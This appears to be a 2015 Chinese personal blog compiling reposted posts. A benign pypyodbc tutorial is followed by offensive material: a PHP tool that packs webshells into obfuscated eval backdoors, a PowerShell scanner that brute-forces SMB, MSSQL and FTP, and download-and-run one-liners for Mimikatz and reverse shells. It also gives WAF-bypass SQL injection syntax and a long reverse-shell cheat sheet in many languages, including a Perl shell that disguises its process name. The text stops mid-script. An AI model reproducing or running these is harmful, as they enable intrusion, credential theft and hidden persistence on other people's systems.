about pypyodbc

发布时间:June 26, 2015 // 分类:运维工作,工作日志,代码学习,linux,windows,python,转帖文章 // No Comments

Connect to a Database

Make a direct connection to a database and create a cursor.

cnxn = pypyodbc.connect('DRIVER={SQL Server};SERVER=localhost;DATABASE=testdb;UID=me;PWD=pass')
cursor = cnxn.cursor()

Make a connection using a DSN. Since DSNs usually don't store passwords, you'll probably need to provide the PWD keyword.

cnxn = pypyodbc.connect('DSN=test;PWD=password')
cursor = cnxn.cursor()

There are lots of options when connecting, so see the connect function and ConnectionStrings for more details.

Selecting Some Data

Select Basics

All SQL statements are executed using the cursor.execute function. If the statement returns rows, such as a select statement, 

you can retreive them using the Cursor fetch functions (fetchonefetchallfetchmany). If there are no rows, fetchone will return None; 

fetchall and fetchmany will both return empty lists.

cursor.execute("select user_id, user_name from users")
row = cursor.fetchone()
if row:
    print row

Row objects are similar to tuples, but they also allow access to columns by name:

cursor.execute("select user_id, user_name from users")
row = cursor.fetchone()
print 'name:', row[1]          # access by column index
print 'name:', row.user_name   # or access by name

The fetchone function returns None when all rows have been retrieved.

while 1:
    row = cursor.fetchone()
    if not row:
        break
    print 'id:', row.user_id

The fetchall function returns all remaining rows in a list. If there are no rows, an empty list is returned. 

(If there are a lot of rows, this will use a lot of memory. Unread rows are stored by the database driver in a compact format and are often sent in batches from the database server. 

Reading in only the rows you need at one time will save a lot of memory.)

cursor.execute("select user_id, user_name from users")
rows = cursor.fetchall()
for row in rows:
    print row.user_id, row.user_name

If you are going to process the rows one at a time, you can use the cursor itself as an interator:

cursor.execute("select user_id, user_name from users"):
for row in cursor:
    print row.user_id, row.user_name

Since cursor.execute always returns the cursor, you can simplify this even more:

for row in cursor.execute("select user_id, user_name from users"):
    print row.user_id, row.user_name

A lot of SQL statements don't fit on one line very easily, so you can always use triple quoted strings:

cursor.execute("""
               select user_id, user_name
                 from users
                where last_logon < '2001-01-01'
                  and bill_overdue = 'y'
               """)

Parameters

ODBC supports parameters using a question mark as a place holder in the SQL. 

You provide the values for the question marks by passing them after the SQL:

cursor.execute("""
               select user_id, user_name
                 from users
                where last_logon < ?
                  and bill_overdue = ?
               """, '2001-01-01', 'y')

This is safer than putting the values into the string because the parameters are passed to the database separately, protecting against SQL injection attacks

It is also be more efficient if you execute the same SQL repeatedly with different parameters. The SQL will be prepared only once. (pypyodbc only keeps the last statement prepared, so if you switch between statements, each will be prepared multiple times.)

The Python DB API specifies that parameters should be passed in a sequence, so this is also supported by pypyodbc:

cursor.execute("""
               select user_id, user_name
                 from users
                where last_logon < ?
                  and bill_overdue = ?
               """, ['2001-01-01', 'y'])
cursor.execute("select count(*) as user_count from users where age > ?", 21)
row = cursor.fetchone()
print '%d users' % row.user_count

Inserting Data

To insert data, pass the insert SQL to Cursor.execute, along with any parameters necessary:

cursor.execute("insert into products(id, name) values ('pypyodbc', 'awesome library')")
cnxn.commit()

cursor.execute("insert into products(id, name) values (?, ?)", 'pypyodbc', 'awesome library')
cnxn.commit()

Note the calls to cnxn.commit(). You must call commit or your changes will be lost! When the connection is closed, any pending changes will be rolled back. This makes error recovery very easy, but you must remember to call commit.

Updating and Deleting

Updating and deleting work the same way, pass the SQL to execute. However, you often want to know how many records were affected when updating and deleting, in which case you can use the cursor.rowcount value:

cursor.execute("delete from products where id <> ?", 'pypyodbc')
print cursor.rowcount, 'products deleted'
cnxn.commit()

Since execute always returns the cursor, you will sometimes see code like this. (Notice the rowcount on the end.)

deleted = cursor.execute("delete from products where id <> 'pypyodbc'").rowcount
cnxn.commit()

Note the calls to cnxn.commit(). You must call commit or your changes will be lost! When the connection is closed, any pending changes will be rolled back. This makes error recovery very easy, but you must remember to call commit.

Tips and Tricks

Since single quotes are valid in SQL, use double quotes to surround your SQL:

deleted = cursor.execute("delete from products where id <> 'pypyodbc'").rowcount

If you are using triple quotes, you can use either:

deleted = cursor.execute("""
                         delete
                           from products
                          where id <> 'pypyodbc'
                         """).rowcount

Some databases (e.g. SQL Server) do not generate column names for calculations, in which case you need to access the columns by index. You can also use the 'as' keyword to name columns (the "as user_count" in the SQL below).

row = cursor.execute("select count(*) as user_count from users").fetchone()
print '%s users' % row.user_count

If there is only 1 value you need, you can put the fetch of the row and the extraction of the first column all on one line:

count = cursor.execute("select count(*) from users").fetchone()[0]
print '%s users' % count

This will not work if the first column can be NULL! In that case, fetchone() will return None and you'll get a cryptic error about NoneType not supporting indexing. If there is a default value, often you can is ISNULL or coalesce to convert NULLs to default values directly in the SQL:

maxid = cursor.execute("select coalesce(max(id), 0) from users").fetchone()[0]

In this example, coalesce(max(id), 0) causes the selected value to be 0 if max(id) returns NULL.

If you're using MS Access 2007, there are some subtle differences in the connection string:

conn = pypyodbc.connect("Driver={Microsoft Access Driver (*.mdb, *.accdb)};DBQ=<path to MDB or ACCDB>;")

Also, you need to use the square brackets notation if your column has spaces or nonstandard characters. I prefer an alias:
 

cursor.execute("SELECT Cust.[ZIP CODE] AS ZIPCODE FROM Cust")
for row in cursor:
        print row.ZIPCODE

Aboutt mysql

# using mysql odbc driver http://www.mysql.com/downloads/connector/odbc/
import pypyodbc
#connect to localhost
cnxn = pypyodbc.connect('Driver={MySQL ODBC 5.1 Driver};Server=127.0.0.1;Port=3306;Database=information_schema;User=root; Password=root;Option=3;')
cursor = cnxn.cursor()

#select all tables from all databases
cursor.execute("select t1.TABLE_SCHEMA field1,t1.TABLE_NAME field2  from `TABLES` t1;")
rows = cursor.fetchall()
for row in rows:
    print "%s.%s" % (row.field1,row.field2)

from:https://code.google.com/p/pyodbc/downloads/list

php 后门加密代码

发布时间:June 17, 2015 // 分类:运维工作,工作日志,PHP,linux,转帖文章,windows // No Comments

在某司5看到了一个加密文件求解密的。默默的谷歌到了

http://www.unphp.net/decode/f8d9b784c5812649b44b3cf623805bd9/

如果需要解密,可以参考

http://wiki.yobi.be/wiki/Forensics_on_Incident_3

根据这篇文章的算法写了个简单的文件加密,什么大马小马加密出来的效果一模一样。效果很吊,双层加密,可以防爆破

<?php 
$file = 'D:/Web/index.php'; /*要加密的文件*/
$pass = '123456'; /*登录密码*/

function enc($code,$pass) {
        $len  = strlen($code);
        for($i = 0; $i < $len; $i++) {
                $pass .= $code[$i];
                $code[$i] = chr((ord($code[$i]) + ord($pass[$i])) % 256);
        }
        $code = base64_encode($code);
        $temp = str_split($code,80);
        $newc = join("\r\n",$temp);
        return $newc;
}

$code = file_get_contents($file);
$code = base64_encode(' ?>'.$code.'<?php ');
$code = 'eval(base64_decode(\''.$code.'\'));exit;';
$code = gzdeflate($code);
$pass = md5($pass).substr(md5(strrev($pass)),0,strlen($pass));

$out  = base64_decode('PD9waHANCiR3cF9fd3AgPSAnYmFzZScgLiAoMzIgKiAyKSAuICdfZGUnIC4gJ2NvZGUnOw0KJHdwX193cCA9ICR3cF9fd3Aoc3RyX3JlcGxhY2UoYXJyYXkoIlxyIiwiXG4iKSwgYXJyYXkoJycsJycpLCAn').enc($code,$pass);
$out .= base64_decode('JykpOw0KJHdwX3dwID0gaXNzZXQoJF9QT1NUWyd3cF93cCddKSA/ICRfUE9TVFsnd3Bfd3AnXSA6IChpc3NldCgkX0NPT0tJRVsnd3Bfd3AnXSkgPyAkX0NPT0tJRVsnd3Bfd3AnXSA6IE5VTEwpOw0KaWYgKCR3cF93cCAhPT0gTlVMTCkgew0KICAgICR3cF93cCA9IG1kNSgkd3Bfd3ApIC4gc3Vic3RyKG1kNShzdHJyZXYoJHdwX3dwKSksIDAsIHN0cmxlbigkd3Bfd3ApKTsNCiAgICBmb3IgKCR3cF9fX3dwID0gMDsgJHdwX19fd3AgPCA=').strlen($code);
$out .= base64_decode('OyAkd3BfX193cCsrKSB7DQogICAgICAgICR3cF9fd3BbJHdwX19fd3BdID0gY2hyKChvcmQoJHdwX193cFskd3BfX193cF0pIC0gb3JkKCR3cF93cFskd3BfX193cF0pKSAlIDI1Nik7DQogICAgICAgICR3cF93cC49ICR3cF9fd3BbJHdwX19fd3BdOw0KICAgIH0NCiAgICBpZiAoJHdwX193cCA9IEBnemluZmxhdGUoJHdwX193cCkpIHsNCiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsnd3Bfd3AnXSkpIEBzZXRjb29raWUoJ3dwX3dwJywgJF9QT1NUWyd3cF93cCddKTsNCiAgICAgICAgJHdwX19fd3AgPSBjcmVhdGVfZnVuY3Rpb24oJycsICR3cF9fd3ApOw0KICAgICAgICB1bnNldCgkd3BfX3dwLCAkd3Bfd3ApOw0KICAgICAgICAkd3BfX193cCgpOw0KICAgIH0NCn0gPz48Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0id3Bfd3AiIHZhbHVlPSIiLz48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iJmd0OyIvPjwvZm9ybT4=');

echo '<pre>';
echo htmlspecialchars($out);
echo '</pre>';
?>

一句话把加密后的$_POST['wp_wp']改成$_GET['wp_wp'],连接加上参数?wp_wp=xxxxxx。即可

powershell学习笔记

发布时间:June 16, 2015 // 分类:运维工作,工作日志,代码学习,windows,转帖文章 // No Comments

1.前言

powershell 功能异常强大,需要.NET 2.0以上环境,不要第三方支持,白名单,轻松过杀软。

在win7/server 2008以后,powershell已被集成在系统当中

============================================

2.基础语法

有点和php一样呢。直接百度一个网站开始学习。。。

http://www.pstips.net/powershell-online-tutorials/

非常简单的学习了一些,来一个脑图:

另外需要说明的是如何加载ps脚本的问题:

方法1:powershell IEX (New-Object Net.WebClient).DownloadString('https://raxxxxx/xxx.ps1');

方法2: set-ExecutionPolicy RemoteSigned

Import-Module .\xxxxx.ps1 [导入模块]

================================

 

3.实例代码

学了不用等于白学,招了一个github 源码[https://github.com/samratashok/nishang/tree/master/Scan],

抄抄改改,写出一个端口扫描,并且支持ftp,smb和mssql爆破ps1脚本

代码:


function Port-Scan {
    [CmdletBinding()] Param(
        [parameter(Mandatory = $true, Position = 0)]
        [ValidatePattern("\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b")]
        [string]
        $StartAddress,

        [parameter(Mandatory = $true, Position = 1)]
        [ValidatePattern("\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b")]
        [string]
        $EndAddress,
        
        [string]
        $file,
        
        [int[]]
        $Ports = @(21,22,23,53,69,71,80,98,110,139,111,389,443,445,1080,1433,2001,2049,3001,3128,5222,6667,6868,7777,7878,8080,1521,3306,3389,5801,5900,5555,5901),
        
        [int]
        $TimeOut = 100
    )  
    Begin {
    $ping = New-Object System.Net.Networkinformation.Ping
    }
    Process {
    
    #init Brute force SQL Server function
    $Connection = New-Object System.Data.SQLClient.SQLConnection

        
        
    $result=@()
    foreach($a in ($StartAddress.Split(".")[0]..$EndAddress.Split(".")[0])) {
        foreach($b in ($StartAddress.Split(".")[1]..$EndAddress.Split(".")[1])) {
        foreach($c in ($StartAddress.Split(".")[2]..$EndAddress.Split(".")[2])) {
            foreach($d in ($StartAddress.Split(".")[3]..$EndAddress.Split(".")[3])) {
            
            $ip="$a.$b.$c.$d"
            $pingStatus = $ping.Send($ip,$TimeOut)
            
            $openport=@()
            
            if($pingStatus.Status -eq "Success") {
                write-host "$ip is alive" -ForegroundColor red

                
            for($i = 1; $i -le $ports.Count;$i++) {
                    $port = $Ports[($i-1)]
                    $client = New-Object System.Net.Sockets.TcpClient
                    $beginConnect = $client.BeginConnect($pingStatus.Address,$port,$null,$null)
                    Start-Sleep -Milli $TimeOut
    
                    if($client.Connected) {                     
                        $openport += $port
                
                        write-host "$ip open $port" -ForegroundColor red     
                        "$ip open $port" | out-file -Append -filepath $file
                        }
                    
                    $client.Close()
                
                }
                
            $iphash=@{ip=$ip;ports=$openport}
            $result +=$iphash
            
            }
            }
        }
        }
    }
    
    foreach ($i in $result){
        foreach ($port in $i.ports){
            #brute smb
            $ip=$i.ip
            if($port -eq 445){
                Write-host "Brute Forcing smb Service on $ip...." -ForegroundColor Yellow
                $conf=Get-Content 'conf\smb.conf'
                foreach ($j in $conf){
                    $username=$j.Split(":")[0]
                    $password=$j.Split(":")[1]
                    
                    if (wmic /user:$username /password:$password /node:$ip process call create "") {
                        Write-Host "login smb to $ip with $username : $password is successful" -ForegroundColor green
                        "login smb to $ip with $username : $password is successful" | out-file -Append -filepath $file
                        break
                    }else{
                        Write-Host "login smb to $ip with $username : $password is fail"
                    }
                }
                
            }
            #brute mssql
            if($port -eq 1433){
                Write-host "Brute Forcing SQL Service on $ip...."  -ForegroundColor Yellow
                $conf=Get-Content 'conf\mssql.conf'
                foreach ($j in $conf){
                    $username=$j.Split(":")[0]
                    $password=$j.Split(":")[1]
                    $Connection.ConnectionString = "Data Source=$ip;Initial Catalog=Master;User Id=$username;Password=$password;"
                    Try
                    {
                        $Connection.Open()
                        $success = $true
                    }
                    Catch
                    {
                        $success = $false
                        Write-host "login mssql to $ip with $username : $password fail "
                    }
                    if($success -eq $true) 
                    {
                            Write-host "login mssql to $ip with $username : $Password  is successful" -ForegroundColor green
                            "login mssql to $ip with $username : $Password  is successful"| out-file -Append -filepath $file
                            Break
                    } 
                }
                
            }
            
            
            if($port -eq 21){
                Write-host "Brute Forcing ftp Service on $ip...."  -ForegroundColor Yellow
                $source = "ftp://" + $ip
    
                $conf=Get-Content 'conf\ftp.conf'
                foreach ($j in $conf){
                    Try 
                    {
                        $username=$j.Split(":")[0]
                        $password=$j.Split(":")[1]                
                        $ftpRequest = [System.Net.FtpWebRequest]::Create($source)
                        $ftpRequest.Method = [System.Net.WebRequestMethods+Ftp]::ListDirectoryDetails
                        $ftpRequest.Credentials = new-object System.Net.NetworkCredential($username, $password)
                        $result = $ftpRequest.GetResponse()
                        $message = $result.BannerMessage + $result.WelcomeMessage
                        Write-host "login ftp to $ip with $username : $password  is successful" -ForegroundColor green
                        "login ftp to $ip with $username : $password  is successful"| out-file -Append -filepath $file
                        break
                    }
                    Catch {
                    Write-host "login ftp to $ip with $username : $password fail "
                    }
                }
                

            }
            
            

        }
    }
    
    Write-host "put all into $file" -ForegroundColor red
    
    }
    
    
    
    
    End {
    }
}

效果:

bug:

1.代码是单线程的速度一定慢,不知道powershell要怎么去分配线程池

2.smb直接使用了wmic命令,当密码不对时候会显示一个错误,不知道如何去屏蔽不显示

代码没有没有进行服务指纹识别什么的,还是非常粗糙的

 

================================

4.一些很屌的powershell工具

4.1.获取hash

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes

 

4.2.获取明文---Mimikatz

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz

 

4.3 nc---powercat

 

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')

 

4.4----各种反弹shell

http:

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PoshRatHttps.ps1')

tcp:

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1')

udp:

IEX (New-Object Net.WebClient).DownloadString('https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1')

icmp:

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellIcmp.ps1')

 

来源:

https://github.com/samratashok/nishang

================================

 

5.结尾

资料来源:

https://github.com/samratashok/nishang/

http://x0day.me/

http://zone.wooyun.org/content/20429

通用的关于sql注入的绕过waf的技巧(利用mysql的特性)

发布时间:June 16, 2015 // 分类:运维工作,工作日志,代码学习,转帖文章 // No Comments

直接上语法

select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0

select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0

select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0

因为一般waf在防御的时候会识别union等关键词的单词边界,但是这个语句刚好可以绕过单词边界的判定。
我是fuzz出来的,了解了一下,大概是利用了语法分析中浮点击指数后语境结束,之后就直接执行后面的语句了。

另外根据官方文档我们可以看到\N其实相当于NULL字符,利用这个特性可以绕过很多waf。

9.1.7 NULL Values
The NULL value means “no data.” NULL can be written in any lettercase. A synonym is \N (case sensitive).

渗透测试:反弹与转发小结

发布时间:June 16, 2015 // 分类:linux,转帖文章 // No Comments

0x00 前言

在做渗透测试时,遇到linux服务器,直观想到反弹shell到本地进行溢出等提权尝试,而其中涉及到的反弹/转发/代理的种种方式,就在此文做一简单小结.

0x01 反弹shell
1) Bash

部分linux发行版中的Bash可以直接反弹一个shell到指定ip端口

bash -i >& /dev/tcp/x.x.x.x/2333 0>&1
2) NetCat

Netcat反弹shell也是常用兵器,经典命令参数-e

nc -e /bin/sh x.x.x.x 2333

但某些版本的nc没有-e参数(非传统版),则可使用以下方式解决

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc x.x.x.x 2333 >/tmp/f

或者本地监听两个端口,通过管道,一处输入,一处输出

nc x.x.x.x 2333|/bin/sh|nc x.x.x.x 2444

其他方式基本沿用以上思路,如将nc更换为telnet等

mknod backpipe p && telnet x.x.x.x 2333 0<backpipe | /bin/bash 1>backpipe
3) PHP

PHP环境下反弹shell,过去我们通常用phpspy等shell自带反弹即可,这里将其反弹部分代码提取出来,访问即可反弹到指定IP端口一个普通交互shell

<?php 
function which($pr) { 
    $path = execute("which $pr");
    return ($path ? $path : $pr);
}
function execute($cfe) { 
$res = ''; 
if ($cfe) { 
if(function_exists('exec')) { 
@exec($cfe,$res); 
$res = join("\n",$res); 
} elseif(function_exists('shell_exec')) { 
$res = @shell_exec($cfe); 
} elseif(function_exists('system')) { 
@ob_start(); 
@system($cfe); 
$res = @ob_get_contents(); 
@ob_end_clean(); 
} elseif(function_exists('passthru')) { 
@ob_start(); 
@passthru($cfe); 
$res = @ob_get_contents(); 
@ob_end_clean(); 
} elseif(@is_resource($f = @popen($cfe,"r"))) { 
$res = ''; 
while(!@feof($f)) { 
$res .= @fread($f,1024); 
} 
@pclose($f); 
} 
} 
return $res; 
} 

function cf($fname,$text){ 
if($fp=@fopen($fname,'w')) { 
@fputs($fp,@base64_decode($text)); 
@fclose($fp); 
} 
} 

$yourip = "x.x.x.x"; 
$yourport = "2333"; 
$usedb = array('perl'=>'perl','c'=>'c');    $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". 
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". 
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". 
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". 
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". 
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". 
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; 
cf('/tmp/.bc',$back_connect); 
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &"); 
?>

访问,成功返回

但需要注意php需未禁用exec函数.另外,Metasploit的payload也提供各种反弹脚本,如

msf > msfpayload php/reverse_php LHOST=x.x.x.x LPORT=2333 R > re.php

生成文件内容像这样

将文件传入shell中,在msf中开一个handler

msf > use multi/handler
msf exploit(handler) > set PAYLOAD php/reverse_php
msf exploit(handler) > set LHOST x.x.x.x
msf exploit(handler) > set LPORT 2333
msf exploit(handler) > exploit

此时访问re.php,即可反弹到本地一个shell

当然,用nc直接监听端口也是可以的

其他可以考虑使用msf编码变形等,github也有这样一个脚本
https://github.com/keshy/cwg_tools/blob/master/php-reverse-shell.php
可供参考

4) JSP

JSP类似,使用msf生成一个反弹shell

msfpayload java/jsp_shell_reverse_tcp LHOST=x.x.x.x R > re.jsp

然后在msf中开一个handler

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD java/jsp_shell_reverse_tcp
msf exploit(handler) > set LHOST 192.168.10.1
msf exploit(handler) > exploit

类似方法即可反弹回shell

5) Python

一个Python反弹shell的代码demo

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

整洁规范的Python写法应该像是这样,更易懂些:

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("x.x.x.x",2333))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);

其他脚本像这样子

python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('x.x.x.x',2333))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

msf的payload给出这样的解法

msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=2333

生成编码后文件:

import base64; exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsMSkKcy5jb25uZWN0KCgnMC4wLjAuMCcsMjMzMykpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YoNDA5NikKd2hpbGUgbGVuKGQpIT1sOgoJZCs9cy5yZWN2KDQwOTYpCmV4ZWMoZCx7J3MnOnN9KQo='))

Base64解码后:

import socket,struct
s=socket.socket(2,1)
s.connect(('x.x.x.x',2333))
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(4096)
while len(d)!=l:
    d+=s.recv(4096)
exec(d,{'s':s})

此处补充上phith0n同学的正向连接bind_shell

关于交互式正向连接shell,几点需要注意的地方

1.不管在linux还是windows下,想要做到交互式,只能开启一个shell.不能够每次接收到命令就再开启一个shell进程,然后执行.

2.windows下cmd.exe /K参数是保持cmd不结束,/c参数是执行完后就结束,注意区别.

最终Win版本:

from socket import *
import subprocess
import os, threading

def send(talk, proc):
        import time
        while True:
                msg = proc.stdout.readline()
                talk.send(msg)

if __name__ == "__main__":
        server=socket(AF_INET,SOCK_STREAM)
        server.bind(('0.0.0.0',23333))
        server.listen(5)
        print 'waiting for connect'
        talk, addr = server.accept()
        print 'connect from',addr
        proc = subprocess.Popen('cmd.exe /K', stdin=subprocess.PIPE, 
                stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
        t = threading.Thread(target = send, args = (talk, proc))
        t.setDaemon(True)
        t.start()
        while True:
                cmd=talk.recv(1024)
                proc.stdin.write(cmd)
                proc.stdin.flush()
        server.close()

Linux版本:

from socket import *
import subprocess
import os, threading, sys, time

if __name__ == "__main__":
    server=socket(AF_INET,SOCK_STREAM)
    server.bind(('0.0.0.0',11))
    server.listen(5)
    print 'waiting for connect'
    talk, addr = server.accept()
    print 'connect from',addr
    proc = subprocess.Popen(["/bin/sh","-i"],stdin=talk,stdout=talk, stderr=talk, shell=True)

执行后主动连接即可

6) Perl

首先给一个原理类似的脚本

perl -e 'use Socket;$i="x.x.x,x";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

然后是一个不依赖调用/bin/bash的方法

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

一个完整的反弹pl脚本

#!/usr/bin/perl -w
# perl-reverse-shell - A Reverse Shell implementation in PERL
use strict;
use Socket;
use FileHandle;
use POSIX;
my $VERSION = "1.0";
# Where to send the reverse shell.  Change these.
my $ip = 'x.x.x.x';
my $port = 2333;

# Options
my $daemon = 1;
my $auth   = 0; # 0 means authentication is disabled and any 
        # source IP can access the reverse shell
my $authorised_client_pattern = qr(^127\.0\.0\.1$);

# Declarations
my $global_page = "";
my $fake_process_name = "/usr/sbin/apache";

# Change the process name to be less conspicious
$0 = "[httpd]";

# Authenticate based on source IP address if required
if (defined($ENV{'REMOTE_ADDR'})) {
    cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");

    if ($auth) {
        unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
            cgiprint("ERROR: Your client isn't authorised to view this page");
            cgiexit();
        }
    }
} elsif ($auth) {
    cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address.  Denying access");
    cgiexit(0);
}

# Background and dissociate from parent process if required
if ($daemon) {
    my $pid = fork();
    if ($pid) {
        cgiexit(0); # parent exits
    }

    setsid();
    chdir('/');
    umask(0);
}

# Make TCP connection for reverse shell
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
    cgiprint("Sent reverse shell to $ip:$port");
    cgiprintpage();
} else {
    cgiprint("Couldn't open reverse shell to $ip:$port: $!");
    cgiexit();    
}

# Redirect STDIN, STDOUT and STDERR to the TCP connection
open(STDIN, ">&SOCK");
open(STDOUT,">&SOCK");
open(STDERR,">&SOCK");
$ENV{'HISTFILE'} = '/dev/null';
system("w;uname -a;id;pwd");
exec({"/bin/sh"} ($fake_process_name, "-i"));

# Wrapper around print
sub cgiprint {
    my $line = shift;
    $line .= "<p>\n";
    $global_page .= $line;
}

# Wrapper around exit
sub cgiexit {
    cgiprintpage();
    exit 0; # 0 to ensure we don't give a 500 response.
}

# Form HTTP response using all the messages gathered by cgiprint so far
sub cgiprintpage {
    print "Content-Length: " . length($global_page) . "\r
Connection: close\r
Content-Type: text\/html\r\n\r\n" . $global_page;
}

ASP环境下调用perlscript执行方式

<%@Language=PerlScript%>
#表明ASP脚本使用语言为Perlscript
<%
system("c://Recycler//cmd.exe /c c://Recycler//nc.exe -e cmd.exe -v x.x.x.x 443");
#用system函数执行命令的方式
#exec("c://Recycler//cmd.exe /c c://Recycler//nc.exe -e cmd.exe -v x.x.x.x 443");
#用exec函数执行命令的方式
%>
7) Ruby

惯例,首先一个调用/bin/sh的

ruby -rsocket -e'f=TCPSocket.open("x.x.x.x",2333).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

一个不依赖于/bin/sh的反弹shell:

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Windows环境使用

ruby -rsocket -e 'c=TCPSocket.new("x.x.x.x","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

此外MSF中也有相应模块可以调用,就不多提

8) Java

给出一个调用/bin/bash的脚本

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/2333;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

MSF中也有相应模块可以调用

9) Lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','2333');os.execute('/bin/sh -i <&3 >&3 2>&3');"

类似不做解释

0x02 端口转发

上面总结反弹shell的各种已知主流或非主流方式,下面扯一下端口转发.
已知的大众方式如:

  • lcx老牌工具
  • htran/fport/fpipe等
  • antifw修改3389端口为80
  • reduh提供了借助http/https隧道连接3389的另一种方式
  • tunna给出了比reduh更稳定快速的解决方法

在Linux环境下,则可考虑借助脚本实现,如Perl/Python等.
知道创宇Knownsec曾给出一个rtcp.py脚本做转发之用,不过测试发现只支持单点连接,推荐使用此脚本,支持多client同时连接

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import sys
import socket
import threading
import logging
import optparse


class PipeThread(threading.Thread):

    def __init__(self, source_fd, target_fd):
        super(PipeThread, self).__init__()
        self.logger = logging.getLogger('PipeThread')
        self.source_fd = source_fd
        self.target_fd = target_fd
        self.source_addr = self.source_fd.getpeername()
        self.target_addr = self.target_fd.getpeername()

    def run(self):
        while True:
            try:
                data = self.source_fd.recv(4096)
                if len(data) > 0:
                    self.logger.debug('read  %04i from %s:%d', len(data),
                                      self.source_addr[0], self.source_addr[1])
                    sent = self.target_fd.send(data)
                    self.logger.debug('write %04i to   %s:%d', sent,
                                      self.target_addr[0], self.target_addr[1])
                else:
                    break
            except socket.error:
                break
        self.logger.debug('connection %s:%d is closed.', self.source_addr[0],
                          self.source_addr[1])
        self.logger.debug('connection %s:%d is closed.', self.target_addr[0],
                          self.target_addr[1])
        self.source_fd.close()
        self.target_fd.close()


class Forwarder(object):

